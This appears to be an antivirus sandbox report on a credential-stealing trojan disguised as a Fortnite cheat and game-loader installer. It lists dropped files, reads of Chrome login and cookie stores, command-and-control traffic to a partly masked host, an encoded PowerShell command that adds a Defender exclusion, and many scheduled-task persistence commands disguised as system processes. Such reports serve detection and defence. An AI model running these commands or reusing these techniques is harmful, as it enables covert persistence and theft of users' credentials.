Trojan.Siggen21.13265

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\explorere
<SYSTEM32>\tasks\system
<SYSTEM32>\tasks\systems
<SYSTEM32>\tasks\dwm
<SYSTEM32>\tasks\dwmd
<SYSTEM32>\tasks\sppsvc
<SYSTEM32>\tasks\sppsvcs
<SYSTEM32>\tasks\csrss
<SYSTEM32>\tasks\csrssc
<SYSTEM32>\tasks\smss
<SYSTEM32>\tasks\rundll32
<SYSTEM32>\tasks\smsss
<SYSTEM32>\tasks\rundll32r
<SYSTEM32>\tasks\taskhost
<SYSTEM32>\tasks\taskhostt
<SYSTEM32>\tasks\explorer
<SYSTEM32>\tasks\firefoxf
<SYSTEM32>\tasks\firefox

Malicious functions

Reads files which store third party applications passwords

%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data

Modifies file system

Creates the following files

%TEMP%\hack fortnite 2.1.1.exe
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_deagle.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_cz75a.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_bizon.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_bayonet.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_awp.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_famas.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_aug.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\unranked.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\the%20global%20elite.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\supreme%20master%20first%20class.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\silver%20iv.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\silver%20iii.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\silver%20ii.png
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_ak47.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\gold%20nova%20i.png
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_fiveseven.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_push.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_m9_bayonet.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_karambit.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_gypsy_jackknife.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_gut.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_flip.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\silver%20i.png
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_elite.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_cord.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_canis.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_butterfly.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_hkp2000.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_glock.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_galilar.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_css.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_g3sg1.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\silver%20elite.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\silver%20elite%20master.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\master%20guardian%20ii.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\flashed.png
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\verified.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\images\agent_model.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\bomb.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\fabric_first.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\fabric_second.png
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_stiletto.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\images\fabric_third.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\snow.webp
%TEMP%\rarsfx0\data\flutter_assets\resources\images\forge_second.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\grain.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\rain.webp
%TEMP%\rarsfx0\data\flutter_assets\resources\images\reloading.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\rules.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\images\forge_first.png
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_falchion.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\images\snow_alternative.webp
%TEMP%\rarsfx0\data\flutter_assets\resources\other_items\flash.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\other_items\bomb.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\master%20guardian%20i.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\master%20guardian%20elite.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\legendary%20eagle.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\legendary%20eagle%20master.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\gold%20nova%20master.png
%TEMP%\rarsfx0\data\flutter_assets\resources\other_items\decoy.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\gold%20nova%20iii.png
%TEMP%\rarsfx0\data\flutter_assets\resources\images\scoped.png
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\distinguished%20master%20guardian.png
%TEMP%\rarsfx0\data\flutter_assets\resources\other_items\smoke.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\other_items\molotov_t.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\other_items\molotov_ct.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\other_items\grenade.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\ranks_competitive\gold%20nova%20ii.png
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_survival_bowie.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_tactical.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_ursus.svg
C:\users\public\documents\my videos\system.exe
%ProgramFiles%\mozilla thunderbird\0a1fd5f707cd16
%ProgramFiles%\mozilla thunderbird\sppsvc.exe
%HOMEPATH%\6cb0b6c459d5d3
%HOMEPATH%\dwm.exe
C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\6cb0b6c459d5d3
C:\users\public\documents\my videos\27d1bcfc3c54e0
C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\dwm.exe
<Current directory>\rundll32.exe
%WINDIR%\assembly\gac\886983d96e3d3e
%WINDIR%\assembly\gac\csrss.exe
C:\users\default\downloads\0a1fd5f707cd16
C:\users\default\downloads\sppsvc.exe
<Current directory>\886983d96e3d3e
<Current directory>\3d4d5fa006b533
%TEMP%\zgulugwkry
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\vac.svg
C:\kms\dwm.exe
%TEMP%\xpfxqs59ob
%TEMP%\oanh9en88j
%TEMP%\ezfb1tkipi
%TEMP%\9p3epne3ob
%TEMP%\w38dcwfwqs
%TEMP%\7mca63bwfq
<Current directory>\csrss.exe
%TEMP%\joduaglwav
%TEMP%\aigrykl4pn
%TEMP%\zmwcaiep2b
%TEMP%\1bv8wp0esx
%ProgramFiles%\msbuild\microsoft\windows workflow foundation\v3.5\0fc223bdacedc3
%ProgramFiles%\msbuild\microsoft\windows workflow foundation\v3.5\firefox.exe
C:\kms\6cb0b6c459d5d3
<Current directory>\system.exe
%TEMP%\rarsfx0\api-ms-win-crt-runtime-l1-1-0.dll
%WINDIR%\globalization\mct\69ddcba757bf72
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_sg556.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_revolver.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_p90.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_p250.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_nova.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_negev.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_mp9.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_sawedoff.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_mp7.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_mag7.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_mac10.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_m4a1_silencer.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_m4a1.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_m249.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_knife_widowmaker.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_mp5sd.svg
%TEMP%\xygr8wy7ls
%ALLUSERSPROFILE%\microsoft help\3d4d5fa006b533
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_ssg08.svg
%ALLUSERSPROFILE%\microsoft help\rundll32.exe
C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\b75386f1303e64
C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\taskhost.exe
C:\msocache\all users\7a0fd90576e088
C:\msocache\all users\explorer.exe
%APPDATA%\com.swiftsoft\exloader_installer\latest_application_log_file.txt
%WINDIR%\globalization\mct\smss.exe
%APPDATA%\com.swiftsoft\exloader_installer\shared_preferences.json
%TEMP%\rarsfx0\data\icudtl.dat
%TEMP%\rarsfx0\data\flutter_assets\shaders\ink_sparkle.frag
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_xm1014.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_usp_silencer.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_ump45.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_tec9.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\skin_items\weapon_scar20.svg
<Current directory>\27d1bcfc3c54e0
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\users.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\sort.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\noirpro-regular.otf
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\noirpro-medium.otf
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\noirpro-bold.otf
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\war.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\summer.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\raleway-black.ttf
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\space.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\newyear.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\logo.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\installer_logo.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\halloween.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\food.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\easygames_logo.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\romantic.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\jokeday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\raleway-bold.ttf
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\calendar.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\calendar-alternative.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\bug.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\bell.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\bank.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\back-arrow.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\clown.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\noirpro-semibold.otf
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\alien.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\admin-panel.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\add.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\0.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\raleway-semibold.ttf
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\raleway-medium.ttf
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\arrow-down.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\fonts\raleway-extrabold.ttf
%TEMP%\rarsfx0\data\flutter_assets\resources\compressed_logos\cats.ico
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\warhammer.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\warcraft.jpg
%TEMP%\rarsfx0\msvcp140.dll
%TEMP%\exloader_installer.exe
C:\webreviewruntimebrokerdll\yygla3ngcyc9hbhtyhfs58kyptz4.bat
C:\webreviewruntimebrokerdll\componentsaves.exe
C:\webreviewruntimebrokerdll\tj6mftt1bow03aq4nf4li.vbe
%TEMP%\rarsfx0\exloader_installer.exe
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\cat-1.svg
%TEMP%\rarsfx0\flutter_windows.dll
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\agents%20of%20mayhem.jpg
%TEMP%\rarsfx0\vcruntime140_1.dll
%TEMP%\rarsfx0\data\app.so
%TEMP%\rarsfx0\data\flutter_assets\assetmanifest.json
%TEMP%\rarsfx0\data\flutter_assets\fontmanifest.json
%TEMP%\rarsfx0\data\flutter_assets\fonts\materialicons-regular.otf
%TEMP%\rarsfx0\vcruntime140.dll
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\auto-delete.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\anime.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\fallguys.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\catsday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\victoryday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\tastyfoodday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\summerstart.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\spaceday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\schoolday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\cyberpank.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\newyear.jpg
%TEMP%\rarsfx0\data\flutter_assets\notices.z
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\icecreamday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\halo.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\halloween.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\god%20of%20war.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\fishingday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\backgrounds\loveday.jpg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\cat.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\chart-bar-alt.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\checked.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\shrimp.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\shield-exclamation.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\settings.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\selected.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\selected-viewbox.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\selected-anixart.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\sort-ascending-reflected.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\search.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\refresh.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\pumpkin.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\puffer-fish.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\preview.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\plus.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\plug.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\safe-shield.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\telegram.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\user.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\space.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\unsafe-shield.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\unavailable.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\trust-properties.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\trash.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\trash-bin.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\translate.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\pencil.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\tick.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\tank.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\swords.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\sun.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\steam.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\stars.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\star.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\sort-ascending.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\heart.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\notification.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\flower.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\favourite-added.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\favourite-add.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\exloader.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\edit.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\download.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\discord.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\file-text.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\day.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\cookie.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\complain.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\collapse.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\close.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\circular-divider.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\christmas-tree.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\crab.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\unverified.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\moon.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\folder.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\mask.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\mail.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\library.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\keyboard-properties.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\key.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\icecream.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\new-year-star.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\hot.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\google.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\ghost.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\geo.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\gear.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\gamepad.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\fun.svg
%TEMP%\rarsfx0\data\flutter_assets\resources\icons\filter.svg
%TEMP%\m6gsd8bwfl

Deletes the following files

%TEMP%\1bv8wp0esx
%TEMP%\zmwcaiep2b
%TEMP%\aigrykl4pn
%TEMP%\zgulugwkry
%TEMP%\joduaglwav
%TEMP%\7mca63bwfq
%TEMP%\w38dcwfwqs
%TEMP%\9p3epne3ob
%TEMP%\ezfb1tkipi
%TEMP%\oanh9en88j
%TEMP%\xpfxqs59ob
%TEMP%\xygr8wy7ls
%TEMP%\m6gsd8bwfl

Network activity

Connects to

'google.com':443
'me##um.ai':443
'bing.com':443
'se####.yahoo.com':443
'13#########23.cloudvps.regruhosting.ru':80

TCP

HTTP GET requests

http://13#########23.cloudvps.regruhosting.ru/PollPacketlongpollserverwordpress.php?ym###########################################################################################################...
http://13#########23.cloudvps.regruhosting.ru/PollPacketlongpollserverwordpress.php?lz###########################################################################################################...

Other

'google.com':443
'me##um.ai':443
'bing.com':443
'se####.yahoo.com':443

UDP

DNS ASK google.com
DNS ASK me##um.ai
DNS ASK bing.com
DNS ASK se####.yahoo.com
DNS ASK 13#########23.cloudvps.regruhosting.ru

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''
ClassName: 'FLUTTER_RUNNER_WIN32_WINDOW_SWIFTSOFT_INSTALLER' WindowName: ''

Creates and executes the following

'%TEMP%\hack fortnite 2.1.1.exe'
'%TEMP%\exloader_installer.exe'
'%WINDIR%\syswow64\wscript.exe' "C:\webreviewruntimebrokerdll\tJ6MfTT1BoW03Aq4nf4lI.vbe"
'C:\webreviewruntimebrokerdll\componentsaves.exe'
'%TEMP%\rarsfx0\exloader_installer.exe'
'%WINDIR%\globalization\mct\smss.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGkAYwBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAZwB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...' (with hidden window)
'%TEMP%\hack fortnite 2.1.1.exe' ' (with hidden window)
'%TEMP%\exloader_installer.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""C:\webreviewruntimebrokerdll\YYgla3NgCYC9HBhTYhFS58kyPtZ4.bat" "' (with hidden window)
'%WINDIR%\globalization\mct\smss.exe' ' (with hidden window)

Executes the following

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGkAYwBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAZwB6ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
'<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\dwm.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "rundll32r" /sc MINUTE /mo 13 /tr "'<Current directory>\rundll32.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "rundll32" /sc ONLOGON /tr "'<Current directory>\rundll32.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "rundll32r" /sc MINUTE /mo 9 /tr "'<Current directory>\rundll32.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'%WINDIR%\assembly\GAC\csrss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'%WINDIR%\assembly\GAC\csrss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'%WINDIR%\assembly\GAC\csrss.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Downloads\sppsvc.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Default\Downloads\sppsvc.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Downloads\sppsvc.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'<Current directory>\csrss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'<Current directory>\csrss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'<Current directory>\csrss.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "smsss" /sc MINUTE /mo 5 /tr "'%WINDIR%\Globalization\MCT\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "smsss" /sc MINUTE /mo 13 /tr "'%WINDIR%\Globalization\MCT\smss.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "smss" /sc ONLOGON /tr "'%WINDIR%\Globalization\MCT\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'%HOMEPATH%\dwm.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 11 /tr "'%ProgramFiles%\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\firefox.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\kms\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'C:\kms\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\kms\dwm.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'<Current directory>\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'<Current directory>\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'<Current directory>\System.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Documents\My Videos\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\reg.exe' query "HKEY_LOCAL_MACHINE\Software\Microsoft\NET Framework Setup\NDP\v4\Full" /v Install
'<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'C:\Users\Public\Documents\My Videos\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Users\Public\Documents\My Videos\System.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'%ProgramFiles%\Mozilla Thunderbird\sppsvc.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "sppsvc" /sc ONLOGON /tr "'%ProgramFiles%\Mozilla Thunderbird\sppsvc.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'%ProgramFiles%\Mozilla Thunderbird\sppsvc.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'%HOMEPATH%\dwm.exe'" /rl HIGHEST /f
